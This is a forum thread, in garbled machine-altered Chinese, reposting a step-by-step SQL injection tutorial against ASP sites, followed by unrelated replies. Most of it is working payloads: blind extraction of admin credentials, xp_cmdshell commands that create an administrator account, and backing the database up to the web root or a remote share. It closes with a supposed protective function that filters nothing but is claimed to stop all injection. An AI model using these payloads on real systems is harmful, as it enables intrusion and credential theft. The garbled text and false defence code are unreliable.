仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 711|回复: 8
打印 上一主题 下一主题

[学习教程] MYSQL网页设计平安进门:SQL注进毛病全打仗

[复制链接]
分手快乐 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:34:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
你不用花费很多时间和金钱来培训现有的职工,或者去花大价钱雇用那些拥有各种证书的开发者。因为MySQL的维护和管理在很大程度上是“傻瓜型”的。平安SQL注进是从一般的WWW端口会见,并且外表看起来跟一样平常的Web页面会见没甚么区分,以是今朝市情的防火墙都不会对SQL注进收回警报,假如办理员没检察IIS日记的习气,大概被进侵很长工夫都不会觉察。   可是,SQL注进的伎俩相称天真,在注进的时分会碰着良多不测的情形。能不克不及依据详细情形举行剖析,机关奇妙的SQL语句,从而乐成猎取想要的数据,是妙手与“菜鸟”的基本区分。 
  依据国情,国际的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不敷10%。在本文,我们从分进门、进阶至初级解说一下ASP注进的办法及技能,PHP注进的文章由NB同盟的另外一位伴侣zwell撰写,但愿对平安事情者和程序员都有效处。懂得ASP注进的伴侣也请不要跳过进门篇,由于部分人对注进的基础判别办法还存在误区。人人筹办好了吗?LetsGo...  
  进门篇  
  假如你之前没试过SQL注进的话,那末第一步先把IE菜单=>工具=>Internet选项=>初级=>显现友爱HTTP毛病信息后面的勾往失落。不然,不管服务器前往甚么毛病,IE都只显现为HTTP500服务器毛病,不克不及取得更多的提醒信息。  
  第一节、SQL注进道理  
  以下我们从一个网站www.ckuyun.com入手下手(注:本文宣布前已征得该站站长批准,年夜部分都是实在数据)。  
  在网站首页上,着名为“IE不克不及翻开新窗口的多种办理办法”的链接,地点为:http://www.ckuyun.com/showdetail.asp?id=49,我们在这个地点前面加上单引号’,服务器会前往上面的毛病提醒:  
  MicrosoftJETDatabaseEngine毛病80040e14
  字符串的语法毛病在查询表达式ID=49中。
  /showdetail.asp,行8  
  从这个毛病提醒我们能看出上面几点:  
  1.网站利用的是Access数据库,经由过程JET引擎毗连数据库,而不是经由过程ODBC。
  2.程序没有判别客户端提交的数据是不是切合程序请求。
  3.该SQL语句所查询的表中有一位为ID的字段。  
  从下面的例子我们能够晓得,SQL注进的道理,就是从客户端提交特别的代码,从而搜集程序及服务器的信息,从而猎取你想到失掉的材料。  
  第二节、判别可否举行SQL注进  
  看完第一节,有一些人会以为:我也是常常如许测试可否注进的,这不是很复杂吗?实在,这并非最好的办法,为何呢?  
  起首,纷歧定每台服务器的IIS都前往详细毛病提醒给客户端,假如程序中加了cint(参数)之类语句的话,SQL注进是不会乐成的,但服务器一样会报错,详细提醒信息为处置URL时服务器上堕落。请和体系办理员联系。  
  其次,部分对SQL注进有一点懂得的程序员,以为只需把单引号过滤失落就平安了,这类情形不为多数,假如你用单引号测试,是测不到注进点的.
  那末,甚么样的测试办法才是对照正确呢?谜底以下: 
  ①http://www.ckuyun.com/showdetail.asp?id=49
  ②http://www.ckuyun.com/showdetail.asp?id=49and1=1
  ③http://www.ckuyun.com/showdetail.asp?id=49and1=2  
  这就是典范的1=1、1=2测试法了,怎样判别呢?看看下面三个网址前往的了局就晓得了:  
  能够注进的体现:  
  ①一般显现(这是一定的,否则就是程序有毛病了)
  ②一般显现,内容基础与①不异
  ③提醒BOF或EOF(程序没做任何判别时)、或提醒找不到纪录(判别了rs.eof时)、或显现内容为空(程序加了onerrorresumenext) 
  不成以注进就对照简单判别了,①一样一般显现,②和③一样平常城市有程序界说的毛病提醒,或提醒范例转换时堕落。  
  固然,这只是传进参数是数字型的时分用的判别办法,实践使用的时分会有字符型和搜刮型参数,我将在中级篇的“SQL注进一样平常步骤”再做剖析。  
  第三节、判别数据库范例及注进办法  
  分歧的数据库的函数、注进办法都是有差别的,以是在注进之前,我们还要判别一下数据库的范例。一样平常ASP最常搭配的数据库是Access和SQLServer,网上凌驾99%的网站都是个中之一。  
  怎样让程序告知你它利用的甚么数据库呢?来看看:  
  SQLServer有一些体系变量,假如服务器IIS提醒没封闭,而且SQLServer前往毛病提醒的话,那能够间接从堕落信息猎取,办法以下:  
  http://www.ckuyun.com/showdetail.asp?id=49anduser>0  
  这句语句很复杂,但却包括了SQLServer特有注进办法的精华,我本人也是在一次偶然的测试中发明这类效力极高的猜解办法。让我看来看看它的寄义:起首,后面的语句是一般的,重点在anduser>0,我们晓得,user是SQLServer的一个内置变量,它的值是以后毗连的用户名,范例为nvarchar。拿一个nvarchar的值跟int的数0对照,体系会先试图将nvarchar的值转成int型,固然,转的过程当中一定会堕落,SQLServer的堕落提醒是:将nvarchar值”abc”转换数据范例为int的列时产生语法毛病,呵呵,abc恰是变量user的值,如许,不废吹灰之力就拿到了数据库的用户名。在今后的篇幅里,人人会看到良多用这类办法的语句。  
  特地说几句,尽人皆知,SQLServer的用户sa是个同等Adminstrators权限的脚色,拿到了sa权限,几近一定能够拿到主机的Administrator了。下面的办法能够很便利的测试出是不是是用sa登录,要注重的是:假如是sa登录,提醒是将”dbo”转换成int的列产生毛病,而不是”sa”。  
  假如服务器IIS不同意前往毛病提醒,那怎样判别数据库范例呢?我们能够从Access和SQLServer和区分动手,Access和SQLServer都有本人的体系表,好比寄存数据库中一切工具的表,Access是在体系表[msysobjects]中,但在Web情况下读该表会提醒“没有权限”,SQLServer是在表[sysobjects]中,在Web情况下可一般读取。  
  在确承认以注进的情形下,利用上面的语句:  
  http://www.ckuyun.com/showdetail.asp?id=49and(selectcount(*)fromsysobjects)>0
  http://www.ckuyun.com/showdetail.asp?id=49and(selectcount(*)frommsysobjects)>0  
  假如数据库是SQLServer,那末第一个网址的页面与原页面http://www.ckuyun.com/showdetail.asp?id=49是大抵不异的;而第二个网址,因为找不到表msysobjects,会提醒堕落,就算程序有容错处置,页面也与原页面完整分歧。  
  假如数据库用的是Access,那末情形就有所分歧,第一个网址的页面与原页面完整分歧;第二个网址,则视乎数据库设置是不是同意读该体系表,一样平常来讲是不同意的,以是与原网址也是完整分歧。年夜多半情形下,用第一个网址就能够得知体系所用的数据库范例,第二个网址只作为开启IIS毛病提醒时的考证。
  接上去,我们就持续进修怎样从数据库中猎取想要取得的内容,起首,我们先看看SQL注进的一样平常步骤:  
  第一节、SQL注进的一样平常步骤  
  起首,判别情况,寻觅注进点,判别数据库范例,这在进门篇已讲过了。  
  其次,依据注进参数范例,在脑海中重构SQL语句的原貌,按参数范例次要分为上面三种:  
  (A)ID=49这类注进的参数是数字型,SQL语句原貌大抵以下:
  Select*from表名where字段=49
  注进的参数为ID=49And[查询前提],便是天生语句:
  Select*from表名where字段=49And[查询前提]  
  (B)Class=一连剧这类注进的参数是字符型,SQL语句原貌大抵概以下:
  Select*from表名where字段=’一连剧’
  注进的参数为Class=一连剧’and[查询前提]and‘’=’,便是天生语句:
  Select*from表名where字段=’一连剧’and[查询前提]and‘’=’’  
  (C)搜刮时没过滤参数的,如keyword=关头字,SQL语句原貌大抵以下:
  Select*from表名where字段like’%关头字%’
  注进的参数为keyword=’and[查询前提]and‘%25’=’,便是天生语句:
  Select*from表名where字段like’%’and[查询前提]and‘%’=’%’  
  接着,将查询前提交换成SQL语句,猜解表名,比方:  
  ID=49And(SelectCount(*)fromAdmin)>=0  
  假如页面就与ID=49的不异,申明附加前提建立,即表Admin存在,反之,即不存在(请切记这类办法)。云云轮回,直至猜到表名为止。  
  表名猜出来后,将Count(*)交换成Count(字段名),用一样的道理猜解字段名。  
  有人会说:这里有一些偶尔的成份,假如表名起得很庞大没纪律的,那基本就没得玩下往了。说得很对,这天下基本就不存在100%乐成的黑客手艺,苍蝇不叮无缝的蛋,不管多手艺多深邃的黑客,都是由于他人的程序写得不周密或利用者保深情识不敷,才有得动手。  
  有点跑题了,话说返来,关于SQLServer的库,仍是有举措让程序告知我们表名及字段名的,我们在初级篇中会做先容。  
  最初,在表名和列名猜解乐成后,再利用SQL语句,得出字段的值,上面先容一种最经常使用的办法-Ascii逐字解码法,固然这类办法速率很慢,但一定是可行的办法。
  我们举个例子,已知表Admin中存在username字段,起首,我们取第一笔记录,测试长度:  
  http://www.ckuyun.com/showdetail.asp?id=49and(selecttop1len(username)fromAdmin)>0  
  先申明道理:假如top1的username长度年夜于0,则前提建立;接着就是>1、>2、>3如许测试下往,一向到前提不建立为止,好比>7建立,>8不建立,就是len(username)=8  
  固然没人会笨得从0,1,2,3一个个测试,怎样才对照快就看各自觉挥了。在失掉username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))失掉ASCII码,好比:  
  id=49and(selecttop1asc(mid(username,1,1))fromAdmin)>0  
  一样也是用慢慢减少局限的办法失掉第1位字符的ASCII码,注重的是英文和数字的ASCII码在1-128之间,能够用折半法减速猜解,假如写成程序测试,效力会有极年夜的进步。  
  第二节、SQL注进经常使用函数  
  有SQL言语基本的人,在SQL注进的时分乐成率比不熟习的人高良多。我们有需要进步一下本人的SQL程度,出格是一些经常使用的函数及命令。  
  Access:asc(字符)SQLServer:unicode(字符)
  感化:前往某字符的ASCII码  
  Access:chr(数字)SQLServer:nchar(数字)
  感化:与asc相反,依据ASCII码前往字符  
  Access:mid(字符串,N,L)SQLServer:substring(字符串,N,L)
  感化:前往字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串  
  Access:abc(数字)SQLServer:abc(数字)
  感化:前往数字的相对值(在猜解汉字的时分会用到) 
  Access:AbetweenBAndCSQLServer:AbetweenBAndC
  感化:判别A是不是界于B与C之间  
  第三节、中文处置办法  
  在注进中碰着中笔墨符是常有的事,有些人一碰着中笔墨符就想打退堂鼓了。实在只需对中文的编码有所懂得,“中文害怕症”很快能够克制。  
  先说一点知识:  
  Access中,中文的ASCII码大概会呈现正数,掏出该正数后用abs()取相对值,汉字字符稳定。  
  SQLServer中,中文的ASCII为负数,但因为是UNICODE的双位编码,不克不及用函数ascii()获得ASCII码,必需用函数unicode()前往unicode值,再用nchar函数获得对应的中笔墨符。  
  懂得了下面的两点后,是否是以为中文猜解实在也跟英文差未几呢?除利用的函数要注重、猜解局限年夜一点外,办法是没甚么两样的。
  看完进门篇和进阶篇后,略加实习,破解一样平常的网站是没成绩了。但假如碰着表名列名猜不到,或程序作者过滤了一些特别字符,怎样进步注进的乐成率?怎样进步猜解效力?请人人接着往下看初级篇。  
  第一节、使用体系表注进SQLServer数据库  
  SQLServer是一个功效壮大的数据库体系,与操纵体系也有严密的接洽,这给开辟者带来了很年夜的便利,但另外一方面,也为注进者供应了一个跳板,我们先来看看几个详细的例子:  
  ①http://Site/url.asp?id=1;execmaster..xp_cmdshell“netusernamepassword/add”--
  分号;在SQLServer中暗示离隔前后两句语句,--暗示前面的语句为正文,以是,这句语句在SQLServer中将被分红两句实行,先是Select出ID=1的纪录,然后实行存储历程xp_cmdshell,这个存储历程用于挪用体系命令,因而,用net命令新建了用户名为name、暗码为password的windows的帐号,接着:  
  ②http://Site/url.asp?id=1;execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”--
  将新建的帐号name到场办理员组,不必两分钟,你已拿到了体系最高权限!固然,这类办法只合用于用sa毗连数据库的情形,不然,是没有权限挪用xp_cmdshell的。
  ③http://Site/url.asp?id=1;;anddb_name()>0  
  后面有个相似的例子anduser>0,感化是猎取毗连用户名,db_name()是另外一个体系变量,前往的是毗连的数据库名。  
  ④http://Site/url.asp?id=1;backupdatabase数据库名todisk=’c:inetpubwwwroot1.db’;--  
  这是相称狠的一招,从③拿到的数据库名,加上某些IIS堕落表露出的相对路径,将数据库备份到Web目次上面,再用HTTP把全部数据库就完完全整的下载返来,一切的办理员及用户暗码都一览无遗!在不晓得相对路径的时分,还能够备份到收集地点的办法(如202.96.xx.xxShare1.db),但乐成率不高。
  ⑤http://Site/url.asp?id=1;;and(SelectTop1namefromsysobjectswherextype=’U’andstatus>0)>0  
  后面说过,sysobjects是SQLServer的体系表,存储着一切的表名、视图、束缚及别的工具,xtype=’U’andstatus>0,暗示用户创建的表名,下面的语句将第一个表名掏出,与0对照巨细,让报错信息把表名表露出来。第2、第三个表名怎样猎取?仍是留给我们伶俐的读者思索吧。  
  ⑥http://Site/url.asp?id=1;;and(SelectTop1col_name(object_id(‘表名’),1)fromsysobjects)>0 
  从⑤拿到表名后,用object_id(‘表名’)猎取表名对应的外部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就能够逐一猎取所猜解内外面的字段名。
  以上6点是我研讨SQLServer注进半年多以来的血汗结晶,能够看出,对SQLServer的懂得水平,间接影响着乐成率及猜解速率。在我研讨SQLServer注进以后,我在开辟方面的程度也失掉很年夜的进步,呵呵,大概平安与开辟原本就是相反相成的吧。 
  第二节、绕历程序限定持续注进  
  在进门篇提到,有良多人喜好用’号测试注进毛病,以是也有良多人用过滤’号的办法来“避免”注进毛病,这大概能盖住一些进门者的打击,但对SQL注进对照熟习的人,仍是能够使用相干的函数,到达绕历程序限定的目标。  
  在“SQL注进的一样平常步骤”一节中,我所用的语句,都是经由我优化,让其不包括有单引号的;在“使用体系表注进SQLServer数据库”中,有些语句包括有’号,我们举个例子来看看怎样改革这些语句:  
  复杂的如wherextype=’U’,字符U对应的ASCII码是85,以是能够用wherextype=char(85)取代;假如字符是中文的,好比wherename=’用户’,能够用wherename=nchar(29992)+nchar(25143)取代。  
  第三节、履历小结  
  1.有些人会过滤Select、Update、Delete这些关头字,但恰恰健忘辨别巨细写,以是人人能够用selecT如许实验一下。  
  2.在猜不到字段名时,无妨看看网站上的登录表单,通常是了便利起见,字段名都与表单的输出框取不异的名字。 
  3.出格注重:地点栏的+号传进程序后注释为空格,%2B注释为+号,%25注释为%号,详细能够参考URLEncode的相干先容。  
  4.用Get办法注进时,IIS会纪录你一切的提交字符串,对Post办法做则不纪录,以是能用Post的网址只管不必Get。  
  5.猜解Access时只能用Ascii逐字解码法,SQLServer也能够用这类办法,只必要二者之间的区分便可,可是假如能用SQLServer的报错信息把值表露出来,那效力和正确率会有极年夜的进步。  
  防范方法  
  SQL注进毛病可谓是“千里之堤,溃于蚁穴”,这类毛病在网上极其广泛,一般是因为程序员对注进不懂得,大概程序过滤不严厉,大概某个参数健忘反省招致。在这里,我给人人一个函数,取代ASP中的Request函数,能够对统统的SQL注进SayNO,函数以下:  
  FunctionSafeRequest(ParaName,ParaType)
  ---传进参数---
  ParaName:参数称号-字符型
  ParaType:参数范例-数字型(1暗示以上参数是数字,0暗示以上参数为字符) 
  DimParaValue
  ParaValue=Request(ParaName)
  IfParaType=1then
  IfnotisNumeric(ParaValue)then
  Response.write"参数"&ParaName&"必需为数字型!"
  Response.end
  Endif
  Else
  ParaValue=replace(ParaValue,"","")
  Endif
  SafeRequest=ParaValue
  Endfunction  
  文章到这里就停止了,不论你是平安职员、手艺喜好者仍是程序员,我都但愿本文能对你有所匡助。

MySQL在业界的流行所带来的另一个好处是,人们总可以很轻松地发现本行业的MySQL学习教程。厂商都希望他们的开发工具和应用程序框架可以与MySQL数据库兼容。
莫相离 该用户已被删除
沙发
发表于 2015-1-19 16:55:01 | 只看该作者
SQL语言是学习所有数据库产品的基础,无论你是做数据库管理还是做数据库开发都是这样。不过具体学习的侧重点要看你将来做哪一块,如果是做数据库管理(DBA),侧重点应该放在SQLServer的系统管理上.
只想知道 该用户已被删除
板凳
发表于 2015-1-28 08:53:38 | 只看该作者
SP4是一个累积性的ServicePack,包含自以前的ServicePack发布以来所有的修补程序(包括MS03-031安全公告)。
精灵巫婆 该用户已被删除
地板
发表于 2015-2-5 14:44:39 | 只看该作者
其实可以做一下类比,Oracle等数据库产品老早就支持了java编程,而且提供了java池参数作为用户配置接口。但是现在有哪些系统大批使用了java存储过程?!连Oracle自己的应用都不用为什么?!
小妖女 该用户已被删除
5#
发表于 2015-2-12 07:34:04 | 只看该作者
语句级快照和事务级快照终于为SQLServer的并发性能带来了突破。个人感觉语句级快照大家应该应用。事务级快照,如果是高并发系统还要慎用。如果一个用户总是被提示修改不成功要求重试时,会杀人的!
透明 该用户已被删除
6#
发表于 2015-3-3 00:59:01 | 只看该作者
多走走一此相关论坛,多看一些实例开发,多交流0经验,没什么的,我也是刚学没多久!加油
简单生活 该用户已被删除
7#
发表于 2015-3-11 08:13:22 | 只看该作者
作了些试验,发现使用CLR的存储过程或函数在达到一定的阀值的时候,系统性能会呈指数级下滑!这是非常危险的!只使用几个可能没有问题,当一旦大规模使用会造成严重的系统性能问题!
活着的死人 该用户已被删除
8#
发表于 2015-3-18 00:12:41 | 只看该作者
语句级快照和事务级快照终于为SQLServer的并发性能带来了突破。个人感觉语句级快照大家应该应用。事务级快照,如果是高并发系统还要慎用。如果一个用户总是被提示修改不成功要求重试时,会杀人的!
飘灵儿 该用户已被删除
9#
发表于 2015-3-25 08:10:07 | 只看该作者
数据库物理框架没有变动undo和redo都放在数据库得transaction中,个人感觉是个败笔。如果说我们在设计数据库的时候考虑分多个数据库,可能能在一定程度上避免I/O效率问题。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-2 11:48

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表